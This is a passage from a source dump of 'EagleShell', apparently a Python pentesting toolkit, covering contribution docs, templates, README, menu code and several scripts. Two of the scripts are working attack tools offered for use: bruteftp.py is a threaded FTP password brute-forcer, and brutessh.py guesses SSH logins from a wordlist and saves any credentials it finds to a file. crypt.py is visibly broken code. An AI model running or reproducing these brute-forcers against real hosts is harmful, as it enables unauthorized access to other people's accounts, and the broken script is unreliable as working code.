38 | 1. Create your own fork of the code 39 | 2. Do the changes in your fork 40 | 3. If you like the change and think the project could use it: 41 | * Be sure you have followed the code style for the project. 42 | * Look at all the Pull Request rules. 43 | * Check your code for a perfect condition. 44 | 45 | Small contributions such as fixing spelling errors, where the content is small enough to not be considered bug fixing, can be submitted by a contributor as a patch, without a request. 46 | 47 | As a rule of thumb, changes are obvious fixes if they do not introduce any new functionality or creative thinking. As long as the change does not affect functionality, some likely examples include the following: 48 | * Spelling/grammar fixes. 49 | * Typo correction, white space and formatting changes. 50 | * Comment clean up. 51 | 52 | # How to report a bug 53 | 54 | If you find a critical bug, contact EagleShellTool@gmail.com, after that open an issue. 55 | 56 | Any critical issues should be submitted directly to EagleShellTool@gmail.com. 57 | 58 | In order to determine whether you are dealing with a major issue, ask yourself these two questions: 59 | * There is a significant negative change in script? 60 | * Is there any important value mistyped (like variables, functions, classes)? 61 | 62 | If the answer to either of those two questions is "yes", then you're probably dealing with a critical issue. Note that even if you answer "no" to both questions, you may still be dealing with a major issue, so if you're unsure, just contact EagleShellTool@gmail.com. 63 | 64 | Before you submit an issue, [search](https://github.com/TRSTN4/EagleShell/issues) the issues archive; maybe the issue has already been submitted or considered. If the issue appears to be a bug and hasn't been reported, open a [new issue](https://github.com/TRSTN4/EagleShell/issues/new). 65 | 66 | Please do not report duplicate issues; help us maximize the effort we can spend fixing issues and adding enhancements. 67 | 68 | Providing the following information will increase the chances of your issue being dealt with quickly: 69 | 70 | * Issue Title - provide a concise issue title. 71 | * Complete the full Issue Template - GitHub support issue templates and EagleShell provides one to make submitting an issue with all of the required information more straightforward. 72 | * Suggest a Fix - if you can't fix the bug yourself, perhaps you can point to what might be causing the problem (line of code or commit). 73 | 74 | When filing an issue, make sure to answer correctly at the [all questions](https://github.com/TRSTN4/EagleShell/tree/master/docs/ISSUE_TEMPLATE). Be careful not to jump over any step of the process. 75 | 76 | # How to suggest a feature or enhancement 77 | 78 | EagleShell provide an optimized pentest, making it a great solution for the pentesters overall. 79 | 80 | It does not lack any important feature. With the support over this repository, you can quickly set your configuration. 81 | 82 | If there is back-and-forth about a feature, ask them to scope the feature, thinking through why it’s needed and how it might work. 83 | 84 | If you find yourself wishing for a feature that doesn't exist in EagleShell, you are probably not alone. There are bound to be others out there with similar needs. Many of the features that EagleShell has today have been added because of the need to the community. 85 | 86 | Before opening an [issue](https://github.com/TRSTN4/EagleShell/issues) on our issues list on GitHub where you can describe the feature you would like to, tell why you need it and how it should work take into account that this tool has a high standard of quality for references and will not accept changes based on simple tutorials or assumptions. 87 | 88 | # Code review process 89 | 90 | The author looks at Pull Requests on a regular basis in a weekly check. 91 | After feedback has been given we expect responses within 3 days. After 3 days we may close the pull request if it isn't showing any activity. 92 | 93 | # Community 94 | 95 | For questions email EagleShellTool@gmail.com. We answer to any request, but at an undetermined time. 96 | 97 | The script needs to be nicely placed, easy to read and pleasing to the eyes. -------------------------------------------------------------------------------- /docs/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: 'EagleShell' 7 | --- 8 | 9 | <- Provide a general summary of the issue in the Title above. -> 10 | 11 | ## Expected behavior 12 | <- Tell us what should happen. -> 13 | 14 | ## Current behavior 15 | <- Tell us what happens instead of the expected behavior. -> 16 | 17 | ## Screenshot 18 | <- (Optional) -> 19 | <- Make a screenshot to help us understand the context more clearly. -> 20 | 21 | ## Possible reasons and solutions 22 | <- (Optional) -> 23 | <- Suggest a fix/reason for the bug. -> 24 | 25 | ## Steps to reproduce 26 | <- Provide a link to a live example or an unambiguous set of steps to reproduce this bug. -> 27 | 28 | 1. Go to '...' 29 | 2. Click on '....' 30 | 3. Scroll down to '....' 31 | 4. See error 32 | 33 | ## Context 34 | <- How has this issue affected you? How it appeared? What are you trying to accomplish? -> 35 | <- Providing context helps us come up with a solution that is most useful in the real world. -> 36 | 37 | ## Custom values 38 | <- (Optional) -> 39 | <- Modified any values? Added any new commands? Tweaked anything? -> 40 | 41 | ## Your environment 42 | <- Include as many relevant details about your environment. -> 43 | 44 | * Tool version (date): 45 | * Script Name (name): 46 | * Anything else: 47 | 48 | ## Stack trace 49 | <- Include stack trace of the logs/console. -> 50 | 51 | ## Checklist 52 | <- Go over all the following points, and put an `x` in all the boxes that apply. -> 53 | 54 | - [ ] I searched the [current issues](https://github.com/TRSTN4/EagleShell/issues) and the issue is not known. 55 | - [ ] I searched the [troubleshooting](https://github.com/TRSTN4/EagleShell) and there's no fix available for this bug. 56 | - [ ] I am mostly sure that the problem is related to the config and isn't my fault. -------------------------------------------------------------------------------- /docs/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: 'EagleShell' 7 | --- 8 | 9 | <- Provide a general summary of the feature in the Title above. -> 10 | 11 | ## Expected behavior 12 | <- Tell us how it should work. -> 13 | 14 | ## Current behavior 15 | <- Explain the difference from current behavior. -> 16 | 17 | ## Screenshot 18 | <- (Optional) -> 19 | <- Make a screenshot of your idea to help us understand it and implement it as easily as possible. -> 20 | 21 | ## Possible solutions 22 | <- (Optional) --> 23 | <- Give us ideas about how to implement the addition. -> 24 | 25 | ## Context and reason 26 | <- Providing context helps us come up with a solution that is most useful in the real world. -> 27 | 28 | ## Checklist 29 | <- Go over all the following points, and put an `x` in all the boxes that apply. -> 30 | 31 | - [ ] I searched the [current issues](https://github.com/TRSTN4/EagleShell/issues) and the feature is not known. 32 | - [ ] I am mostly sure that the feature will bring more good than bad. -------------------------------------------------------------------------------- /docs/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | <- Provide a general summary of your script or changes in the Title above. -> 2 | 3 | ## Description 4 | <- Describe your new script or changes in detail. -> 5 | 6 | ## Related issues 7 | <- If suggesting a new feature or change, please discuss it in an issue first. -> 8 | <- If fixing a bug, there should be an issue describing it with steps to reproduce. -> 9 | <- If there is a issue, please link to the issue here. -> 10 | 11 | ## Motivation and Context 12 | <- If there is a change instead of a script, why is this change is required? What problem does it solve? What brings in addition? -> 13 | 14 | ## How has this been tested 15 | <- Please describe in detail how you tested your script or changes. -> 16 | <- Include details of the tests you ran. -> 17 | 18 | ## Features of the scripts or changes 19 | <- What types of scripts or changes does your code introduce? Put an `x` in all the boxes that apply: -> 20 | 21 | - [ ] Docs change / refactoring. 22 | - [ ] Introducing a new script (introducing a new and handy script for EagleShell.). 23 | - [ ] Non-breaking change (fix or feature that wouldn't cause existing functionality to change/break). 24 | - [ ] Breaking change (fix or feature that would cause existing functionality to change/break). 25 | 26 | ## Checklist 27 | <- Go over all the following points, and put an `x` in all the boxes that apply. -> 28 | 29 | - [ ] My code follows the code style of this project. 30 | - [ ] My change requires a change to the documentation. 31 | - [ ] I have performed a self-review of my own code. 32 | - [ ] I have commented my code, particularly in hard-to-understand areas. 33 | - [ ] I have made corresponding changes to the documentation. 34 | - [ ] My changes don't generate new warnings. 35 | - [ ] I have read the [CONTRIBUTING](https://github.com/TRSTN4/EagleShell/blob/master/docs/CONTRIBUTING.md) document. 36 | - [ ] I have added tests that prove my fix is effective or that my feature works. 37 | - [ ] All new and existing tests pass. -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 | 4 |

5 |

A high-quality pentesting tool.

6 | 7 |

8 | 9 | GitHub last commit 11 | 12 | GitHub issues 14 | 15 | GitHub pull requests 17 | 18 | GitHub tweet 20 |

21 |

22 | About • 23 | Installation • 24 | Updating • 25 | Features • 26 | Contributing • 27 | Author • 28 | Support • 29 | License 30 |

31 | 32 | --- 33 | 34 | ## About 35 | 36 | **EagleShell** is a **high-quality** tool that aims to **improve YOUR pentest**. 37 | 38 | **Each and one** of the **scripts** are **helpful** during a **pentest**. It comes **filled** with **scripts** that will improve **your pentest** and make it **better** and **easier**. 39 | 40 | We **heavily** support people who have **created** a python script and want to share it with us to **merge** with **EagleShell**. Of course **you** get the **credits** for **your script**. Learn more about [contributing here](https://github.com/TRSTN4/EagleShell/blob/master/docs/CONTRIBUTING.md). 41 | 42 | ## Installation 43 | 44 | ##### Downloading and installing steps: 45 | 46 | * Requires Python 3 47 | 48 | ### Linux Installation 49 | 50 | ``` 51 | git clone https://github.com/TRSTN4/EagleShell.git 52 | cd EagleShell 53 | python3 setup.py 54 | ``` 55 | 56 | ## Updating 57 | 58 | When a **new version** is out, you have **two methods** to _update_: 59 | 60 | ##### 1. Use the built-in update.py 61 | 62 | ``` 63 | cd EagleShell 64 | python3 update.py 65 | ``` 66 | 67 | ##### 2. Use Git Commands 68 | 69 | ``` 70 | cd EagleShell 71 | git fetch 72 | git reset --hard origin/master 73 | git checkout master 74 | git pull 75 | ``` 76 | 77 | ## Features 78 | 79 | | | 🦅 EagleShell | 80 | | ------------------------- | :----------: | 81 | | Merge Your Custom Scripts | ✔️ | 82 | | Open Source Project | ✔️ | 83 | | Useful Scripts | ✔️ | 84 | | Pentesting Tool | ✔️ | 85 | | Easy to Use | ✔️ | 86 | | Clean Navigation | ✔️ | 87 | | Categorized | ✔️ | 88 | | Time Saver | ✔️ | 89 | 90 | ## Contributing 91 | 92 | Got **something interesting** you'd like to **share**? Learn about [contributing](https://github.com/TRSTN4/EagleShell/blob/master/docs/CONTRIBUTING.md). 93 | 94 | ## Author 95 | 96 | | ![TRSTN4](https://media1.giphy.com/media/jtKnHAgIrCJjJeHaGd/giphy.gif) | 97 | | ------------------------------------------------------------ | 98 | | **TRSTN4** | 99 | 100 | ## Support 101 | 102 | Reach out to us here: 103 | 104 | - E-Mail: **EagleShellTool@gmail.com** 105 | 106 | ## License 107 | 108 | EagleShell is released under "[GNU General Public License v2.0](https://github.com/TRSTN4/EagleShell/blob/master/LICENSE)". 109 | 110 | - Copyright © EagleShell. 111 | -------------------------------------------------------------------------------- /docs/SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Reporting a Vulnerability 4 | 5 | If there are any vulnerability in **EagleShell** project, don't hesitate to _report them_. 6 | 7 | 1. Send a mail to EagleShellTool@gmail.com. 8 | 2. Describe the vulnerability. 9 | * If you have a fix, explain or attach it. 10 | * In the near time, expect a reply with the required steps. Also, there may be a demand for a pull request which include the fixes. 11 | 12 | ##### You should not disclose the vulnerability publicly if you haven't received an answer in some weeks. 13 | 14 | ##### If the vulnerability is rejected, you may post it publicly within some hour of rejection, unless the rejection is withdrawn within that time period. 15 | 16 | ##### After the vulnerability has been fixed, you may disclose the vulnerability details publicly over some days . 17 | -------------------------------------------------------------------------------- /docs/WIKI.md: -------------------------------------------------------------------------------- 1 | ## What is EagleShell? 2 | 3 | This tool is focused on optimal experience through pentesting. It contains a lot of scripts for every type of pentest assessment. 4 | 5 | Everything inside this tool is helpful, analyzed, tested and there is no misconfigured script. It isn't based on guesses or anything like that, but rather on well-tested scripts. 6 | 7 | The tool is often updated with new scripts, new features and it is sometimes rewritten in some parts for a better template. If there is a critical bug, We'll notice it immediately and patch it. 8 | 9 | ## Contributing for EagleShell 10 | 11 | EagleShell is an open source project and we LOVE to receive contributions from our community — you! There are many ways to contribute, from writing scripts, tutorials or blog posts, improving the documentation, submitting bug reports and feature requests or writing code which can be incorporated into EagleShell itself. 12 | 13 | Learn more about [contributing here](https://github.com/TRSTN4/EagleShell/blob/master/docs/CONTRIBUTING.md). 14 | 15 | ## What is EagleShell for? 16 | 17 | EagleShell is designed with the following features: 18 | 19 | - Make pentesting and or assessments easier and better. 20 | - Help the pentester by making available very useful scripts. 21 | - Documenting the pentester about the scripts, all of them are commented. 22 | - Has well-selected scripts, enabling a lot of advantages. 23 | - No misconcepted scripts, it's professionally analyzed. 24 | 25 | ## What design principles underlie EagleShell? 26 | 27 | EagleShell works by: 28 | 29 | - Providing a nice and clean style of writing. Pleasing to the eye. 30 | - Using well-known sources and deep analysis, no misleading. 31 | - Optimized for easy to read comments. 32 | - Optimized template, well categorized. -------------------------------------------------------------------------------- /eagleshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | class Main: 5 | def __init__(self): 6 | from modules.modules import Modules 7 | Modules() 8 | 9 | 10 | Main() 11 | -------------------------------------------------------------------------------- /modules/modules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import modules_header 4 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 5 | from assets.shortcuts import Exit 6 | 7 | 8 | class Modules: 9 | def __init__(self): 10 | try: 11 | modules_header() 12 | print('Modules:\n') 13 | print('\t1): Eagle Scripts') 14 | print('\t2): Settings') 15 | print('\n\tX): Exit\n') 16 | while True: 17 | menu_select = input(eagleshell_prefix).lower() 18 | if menu_select == '1': 19 | from modules.scripts.scripts import Scripts 20 | Scripts() 21 | elif menu_select == '2': 22 | from modules.settings.settings import Settings 23 | Settings() 24 | elif menu_select == 'x': 25 | Exit() 26 | else: 27 | print(invalid_input_prefix) 28 | continue 29 | except KeyboardInterrupt: 30 | Exit() 31 | -------------------------------------------------------------------------------- /modules/scripts/brute_force/brute_force.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import brute_force_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | from assets.colors import * 7 | 8 | 9 | class BruteForce: 10 | def __init__(self): 11 | try: 12 | brute_force_header() 13 | print('Scripts:') 14 | print('\n\t1): BruteSSH - Brute Force SSH ' + RED + '* NOT RECOMMENDED *' + RESET + WHITE) 15 | print('\t2): BruteFTP - Brute Force FTP ' + RED + '* NOT RECOMMENDED *' + RESET + WHITE) 16 | print('\n\tZ): Back') 17 | print('\tX): Exit\n') 18 | while True: 19 | privilege_escalation_select = input(eagleshell_prefix).lower() 20 | if privilege_escalation_select == '1': 21 | from modules.scripts.brute_force.brutessh import BruteSSH 22 | BruteSSH() 23 | elif privilege_escalation_select == '2': 24 | from modules.scripts.brute_force.bruteftp import BruteFTP 25 | BruteFTP() 26 | elif privilege_escalation_select == 'z': 27 | from ..scripts import Scripts 28 | Scripts() 29 | elif privilege_escalation_select == 'x': 30 | Exit() 31 | else: 32 | print(invalid_input_prefix) 33 | continue 34 | except KeyboardInterrupt: 35 | Exit() 36 | -------------------------------------------------------------------------------- /modules/scripts/brute_force/bruteftp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import bruteftp_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, rhost_prefix, wordlist_prefix, unable_to_connect_prefix, user_prefix, rport_prefix, threads_prefix 6 | from assets.shortcuts import Exit 7 | from .brute_force import BruteForce 8 | import os 9 | import queue 10 | import ftplib 11 | from threading import Thread 12 | 13 | 14 | class BruteFTP: 15 | def __init__(self): 16 | self.n_threads = 10 17 | self.password_found = '' 18 | self.password_tried = 0 19 | self.q = queue.Queue() 20 | self.configuration() 21 | self.brute_forcing() 22 | 23 | def configuration(self): 24 | try: 25 | bruteftp_header() 26 | print('Configuration:') 27 | print('\n\tRHOST Input') 28 | print('\tExample: 192.168.1.123\n') 29 | print('\n\tUser Input:') 30 | print('\tExample: admin\n') 31 | print('\n\tRPORT Input') 32 | print('\tExample: 21\n') 33 | print('\n\tThreads Input') 34 | print('\tExample: 10\n') 35 | print('\n\tWordlist Input') 36 | print('\tExample: /usr/share/wordlists/mypasswords.txt') 37 | print('\n\tZ): Back') 38 | print('\tX): Exit\n') 39 | os.system('sleep 0.01') 40 | while True: 41 | self.host_set = input(rhost_prefix).lower() 42 | if self.host_set == 'z': 43 | BruteForce() 44 | elif self.host_set == 'x': 45 | Exit() 46 | self.user_set = input(user_prefix) 47 | if self.user_set == 'z' or self.user_set == 'Z': 48 | BruteForce() 49 | elif self.user_set == 'x' or self.user_set == 'X': 50 | Exit() 51 | self.rport_set = input(rport_prefix).lower() 52 | if self.rport_set == 'z': 53 | BruteForce() 54 | elif self.rport_set == 'x': 55 | Exit() 56 | self.threads_set = input(threads_prefix).lower() 57 | self.n_threads = self.threads_set 58 | if self.threads_set == 'z': 59 | BruteForce() 60 | elif self.threads_set == 'x': 61 | Exit() 62 | self.wordlist_set = input(wordlist_prefix) 63 | if self.wordlist_set == 'z' or self.wordlist_set == 'Z': 64 | BruteForce() 65 | elif self.wordlist_set == 'x' or self.wordlist_set == 'X': 66 | Exit() 67 | break 68 | except KeyboardInterrupt: 69 | Exit() 70 | 71 | def brute_forcing(self): 72 | try: 73 | bruteftp_header() 74 | print('Process:') 75 | print('\n\tStatus') 76 | print('\t------') 77 | print('\n\tStop: CTRL+C\n') 78 | passwords = open(self.wordlist_set).read().split("\n") 79 | for password in passwords: 80 | self.q.put(password) 81 | for t in range(int(self.n_threads)): 82 | thread = Thread(target=self.connect_ftp) 83 | thread.daemon = True 84 | thread.start() 85 | self.q.join() 86 | except FileNotFoundError or IsADirectoryError or ValueError: 87 | print(unable_to_connect_prefix) 88 | os.system('sleep 2') 89 | Exit() 90 | except KeyboardInterrupt: 91 | self.result() 92 | 93 | def connect_ftp(self): 94 | try: 95 | while True: 96 | password = self.q.get() 97 | server = ftplib.FTP() 98 | self.password_tried = self.password_tried + 1 99 | print('\tPASSWORDS TRIED: ' + str(self.password_tried), end='\r') 100 | try: 101 | server.connect(self.host_set, int(self.rport_set), timeout=5) 102 | server.login(self.user_set, password) 103 | except ftplib.error_perm: 104 | pass 105 | else: 106 | self.password_found = password 107 | with self.q.mutex: 108 | self.q.queue.clear() 109 | self.q.all_tasks_done.notify_all() 110 | self.q.unfinished_tasks = 0 111 | self.result() 112 | except OSError: 113 | print(unable_to_connect_prefix) 114 | os.system('sleep 2') 115 | Exit() 116 | except KeyboardInterrupt: 117 | self.result() 118 | 119 | def result(self): 120 | try: 121 | bruteftp_header() 122 | print('Result:\n') 123 | if len(self.password_found) > 1: 124 | print(WHITE + '\tPASSWORD: ' + GREEN + self.password_found + WHITE) 125 | else: 126 | print(WHITE + '\tPASSWORD: ' + RED + 'Not Found.\n' + WHITE) 127 | if len(self.password_found) > 1: 128 | print('\tPASSWORDS TRIED: ' + GREEN + str(self.password_tried) + WHITE) 129 | else: 130 | print('\tPASSWORDS TRIED: ' + RED + str(self.password_tried) + WHITE) 131 | print('\n\tX): Exit\n') 132 | while True: 133 | cmd = input(eagleshell_prefix).lower() 134 | if cmd == 'x': 135 | Exit() 136 | else: 137 | print(invalid_input_prefix) 138 | continue 139 | except KeyboardInterrupt: 140 | Exit() 141 | -------------------------------------------------------------------------------- /modules/scripts/brute_force/brutessh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import brutessh_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, rhost_prefix, wordlist_prefix, user_prefix, unable_to_connect_prefix 6 | from assets.shortcuts import Exit 7 | from .brute_force import BruteForce 8 | import os 9 | import paramiko 10 | import socket 11 | import time 12 | 13 | 14 | class BruteSSH: 15 | def __init__(self): 16 | self.host_set = '' 17 | self.user_set = '' 18 | self.wordlist_set = '' 19 | self.password_found = '' 20 | self.password_tried = 0 21 | self.configuration() 22 | self.set_ready() 23 | 24 | def configuration(self): 25 | try: 26 | brutessh_header() 27 | print('Configuration:') 28 | print('\n\tHost Input') 29 | print('\tExample: 192.168.1.123') 30 | print('\n\tUser Input:') 31 | print('\tExample: admin') 32 | print('\n\tWordlist Input') 33 | print('\tExample: /usr/share/wordlists/mypasswords.txt') 34 | print('\n\tZ): Back') 35 | print('\tX): Exit\n') 36 | while True: 37 | self.host_set = input(rhost_prefix).lower() 38 | if self.host_set == 'z': 39 | BruteForce() 40 | elif self.host_set == 'x': 41 | Exit() 42 | self.user_set = input(user_prefix) 43 | if self.user_set == 'z' or self.user_set == 'Z': 44 | BruteForce() 45 | elif self.user_set == 'x' or self.user_set == 'Z': 46 | Exit() 47 | self.wordlist_set = input(wordlist_prefix) 48 | if self.wordlist_set == 'z' or self.wordlist_set == 'Z': 49 | BruteForce() 50 | elif self.wordlist_set == 'x' or self.wordlist_set == 'X': 51 | Exit() 52 | break 53 | except KeyboardInterrupt: 54 | Exit() 55 | 56 | def set_ready(self): 57 | try: 58 | passwords = open(self.wordlist_set).read().split("\n") 59 | for password in passwords: 60 | if self.brute_forcing(self.host_set, self.user_set, password): 61 | open("credentials.txt", "w").write(f"{self.user_set}@{self.host_set}:{password}") 62 | break 63 | except KeyboardInterrupt: 64 | self.result() 65 | 66 | def brute_forcing(self, hostname, username, password): 67 | brutessh_header() 68 | print('Process:') 69 | print('\n\tStatus') 70 | print('\t------') 71 | print('\n\tStop: CTRL+C\n') 72 | client = paramiko.SSHClient() 73 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 74 | try: 75 | client.connect(hostname=hostname, username=username, password=password, timeout=3) 76 | except socket.timeout: 77 | print(RED + "\t[!] Host: " + hostname + " is unreachable, timed out." + WHITE) 78 | return False 79 | except paramiko.AuthenticationException: 80 | print(RED + "\t[!] Invalid credentials for " + username + ":" + password + WHITE) 81 | self.password_tried = self.password_tried + 1 82 | return False 83 | except paramiko.SSHException: 84 | print(BLUE + "\t[*] Quota exceeded, retrying with delay..." + WHITE) 85 | time.sleep(60) 86 | return self.brute_forcing(hostname, username, password) 87 | except paramiko.ssh_exception.NoValidConnectionsError: 88 | print(RED + "\t[!] Host: " + hostname + " is unreachable, timed out." + WHITE) 89 | os.system('sleep 1') 90 | print(unable_to_connect_prefix) 91 | Exit() 92 | except KeyboardInterrupt: 93 | self.result() 94 | else: 95 | self.password_found = password 96 | self.succ_fail = True 97 | self.result() 98 | 99 | def result(self): 100 | try: 101 | brutessh_header() 102 | if self.succ_fail: 103 | color = GREEN 104 | else: 105 | color = RED 106 | print('Result:') 107 | print('\n\tHOST: ' + color + self.host_set + WHITE) 108 | print('\n\tUSERNAME: ' + color + self.user_set + WHITE) 109 | print('\n\tPASSWORD: ' + color + self.password_found + WHITE) 110 | print('\n\tWORDLIST: ' + color + self.wordlist_set + WHITE) 111 | print('\n\tPASSWORDS TRIED: ' + color + str(self.password_tried) + WHITE) 112 | print('\n\tY): New') 113 | print('\tZ): Menu') 114 | print('\tX): Exit\n') 115 | while True: 116 | cmd = input(eagleshell_prefix).lower() 117 | if cmd == 'y': 118 | BruteSSH() 119 | elif cmd == 'z': 120 | BruteForce() 121 | elif cmd == 'x': 122 | Exit() 123 | else: 124 | print(invalid_input_prefix) 125 | continue 126 | except KeyboardInterrupt: 127 | Exit() 128 | -------------------------------------------------------------------------------- /modules/scripts/cryptography/crypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Crypt Encrypted and Decrypter Script 4 | 5 | # Imports all variables and packages 6 | from assets.banners import crypt_banner 7 | from assets.designs import * 8 | from assets.properties import clear_screen 9 | from cryptography.fernet import Fernet 10 | 11 | 12 | def crypt_main(): 13 | 14 | def write_key(): 15 | """ 16 | Generates a key and save it into a file 17 | """ 18 | key = Fernet.generate_key() 19 | with open("key.key", "wb") as key_file: 20 | key_file.write(key) 21 | 22 | def load_key(): 23 | """ 24 | Loads the key from the current directory named `key.key` 25 | """ 26 | return open("key.key", "rb").read() 27 | 28 | def encrypt(filename, key): 29 | """ 30 | Given a filename (str) and key (bytes), it encrypts the file and write it 31 | """ 32 | f = Fernet(key) 33 | with open(filename, "rb") as file: 34 | # read all file data 35 | file_data = file.read() 36 | # encrypt data 37 | encrypted_data = f.encrypt(file_data) 38 | # write the encrypted file 39 | with open(filename, "wb") as file: 40 | file.write(encrypted_data) 41 | 42 | def decrypt(filename, key): 43 | """ 44 | Given a filename (str) and key (bytes), it decrypts the file and write it 45 | """ 46 | f = Fernet(key) 47 | with open(filename, "rb") as file: 48 | # read the encrypted data 49 | encrypted_data = file.read() 50 | # decrypt data 51 | decrypted_data = f.decrypt(encrypted_data) 52 | # write the original file 53 | with open(filename, "wb") as file: 54 | file.write(decrypted_data) 55 | 56 | 57 | if __name__ == "__main__": 58 | import argparse 59 | parser = argparse.ArgumentParser(description="Simple File Encryptor Script") 60 | parser.add_argument("file", help="File to encrypt/decrypt") 61 | parser.add_argument("-g", "--generate-key", dest="generate_key", action="store_true", 62 | help="Whether to generate a new key or use existing") 63 | parser.add_argument("-e", "--encrypt", action="store_true", 64 | help="Whether to encrypt the file, only -e or -d can be specified.") 65 | parser.add_argument("-d", "--decrypt", action="store_true", 66 | help="Whether to decrypt the file, only -e or -d can be specified.") 67 | 68 | args = parser.parse_args() 69 | file = args.file 70 | generate_key = args.generate_key 71 | 72 | if generate_key: 73 | write_key() 74 | # load the key 75 | key = load_key() 76 | 77 | encrypt_ = args.encrypt 78 | decrypt_ = args.decrypt 79 | 80 | if encrypt_ and decrypt_: 81 | raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") 82 | elif encrypt_: 83 | encrypt(file, key) 84 | elif decrypt_: 85 | decrypt(file, key) 86 | else: 87 | raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") 88 | 89 | configuration() 90 | 91 | 92 | crypt_main() 93 | -------------------------------------------------------------------------------- /modules/scripts/cryptography/cryptography.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import cryptography_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Cryptography: 9 | def __init__(self): 10 | try: 11 | cryptography_header() 12 | print('Scripts:') 13 | print('\n\t1): Hashing - Text and File Hashing') 14 | print('\t2): SOON - Crypt - Encrypter and Decrypter') 15 | print('\n\tZ): Back') 16 | print('\tX): Exit\n') 17 | while True: 18 | web_select = input(eagleshell_prefix).lower() 19 | if web_select == '1': 20 | from modules.scripts.cryptography.hashing import Hashing 21 | Hashing() 22 | elif web_select == '2': 23 | pass 24 | elif web_select == 'z': 25 | from ..scripts import Scripts 26 | Scripts() 27 | elif web_select == 'x': 28 | Exit() 29 | else: 30 | print(invalid_input_prefix) 31 | continue 32 | except KeyboardInterrupt: 33 | Exit() 34 | -------------------------------------------------------------------------------- /modules/scripts/cryptography/hashing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import hashing_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, hashing_prefix, text_prefix, path_prefix 6 | from assets.shortcuts import Exit 7 | from modules.scripts.miscellaneous.miscellaneous import Miscellaneous 8 | import os 9 | import hashlib 10 | 11 | 12 | class Hashing: 13 | def __init__(self): 14 | self.configuration() 15 | 16 | def configuration(self): 17 | try: 18 | hashing_header() 19 | print('Configuration:') 20 | print('\n\t1): Text Hashing') 21 | print('\t2): File Hashing') 22 | print('\n\tZ): Back') 23 | print('\tX): Exit\n') 24 | while True: 25 | hashing_set = input(hashing_prefix).lower() 26 | if hashing_set == '1': 27 | self.text_hashing() 28 | elif hashing_set == '2': 29 | self.file_hashing_input() 30 | elif hashing_set == 'z': 31 | Miscellaneous() 32 | elif hashing_set == 'x': 33 | Exit() 34 | else: 35 | print(invalid_input_prefix) 36 | continue 37 | except KeyboardInterrupt: 38 | Exit() 39 | 40 | def text_hashing(self): 41 | try: 42 | hashing_header() 43 | print('Input:') 44 | print('\n\tType Your Text') 45 | print('\tExample: SomeRandomText123') 46 | print('\n\tZ): Back') 47 | print('\tX): Exit\n') 48 | self.hashing_text_set = input(text_prefix) 49 | if self.hashing_text_set == 'z' or self.hashing_text_set == 'Z': 50 | Miscellaneous() 51 | elif self.hashing_text_set == 'x' or self.hashing_text_set == 'X': 52 | Exit() 53 | else: 54 | self.message = self.hashing_text_set.encode() 55 | self.result_text() 56 | except KeyboardInterrupt: 57 | Exit() 58 | 59 | def result_text(self): 60 | try: 61 | hashing_header() 62 | print('Output:') 63 | print('\n\tText Input: ' + str(self.hashing_text_set) + '\n') 64 | print(RED + "\tMD5:", hashlib.md5(self.message).hexdigest()) 65 | print(GREEN + "\tSHA-256:", hashlib.sha256(self.message).hexdigest()) 66 | print(YELLOW + "\tSHA-512:", hashlib.sha512(self.message).hexdigest()) 67 | print(BLUE + "\tSHA-3-256:", hashlib.sha3_256(self.message).hexdigest()) 68 | print(MAGENTA + "\tSHA-3-512:", hashlib.sha3_512(self.message).hexdigest()) 69 | print(CYAN + "\tBLAKE2c:", hashlib.blake2s(self.message).hexdigest()) 70 | print(CYAN + "\tBLAKE2b:", hashlib.blake2b(self.message).hexdigest() + WHITE) 71 | print('\n\tY): New') 72 | print('\tZ): Menu') 73 | print('\tX): Exit\n') 74 | while True: 75 | cmd = input(eagleshell_prefix).lower() 76 | if cmd == 'y': 77 | Hashing() 78 | elif cmd == 'z': 79 | Miscellaneous() 80 | elif cmd == 'x': 81 | Exit() 82 | else: 83 | print(invalid_input_prefix) 84 | continue 85 | except KeyboardInterrupt: 86 | Exit() 87 | 88 | def file_hashing_input(self): 89 | try: 90 | hashing_header() 91 | print('Input:') 92 | print('\n\tFile Path') 93 | print('\tExample: /tmp/images/car.jpeg') 94 | print('\n\tZ): Back') 95 | print('\tX): Exit\n') 96 | self.hashing_file_path = input(path_prefix) 97 | if self.hashing_file_path == 'z' or self.hashing_file_path == 'Z': 98 | Miscellaneous() 99 | elif self.hashing_file_path == 'x' or self.hashing_file_path == 'X': 100 | Exit() 101 | else: 102 | self.hashing_file() 103 | self.result_file() 104 | except KeyboardInterrupt: 105 | Exit() 106 | except FileNotFoundError: 107 | print(invalid_input_prefix) 108 | os.system('sleep 1') 109 | self.file_hashing_input() 110 | except IsADirectoryError: 111 | print(invalid_input_prefix) 112 | os.system('sleep 1') 113 | 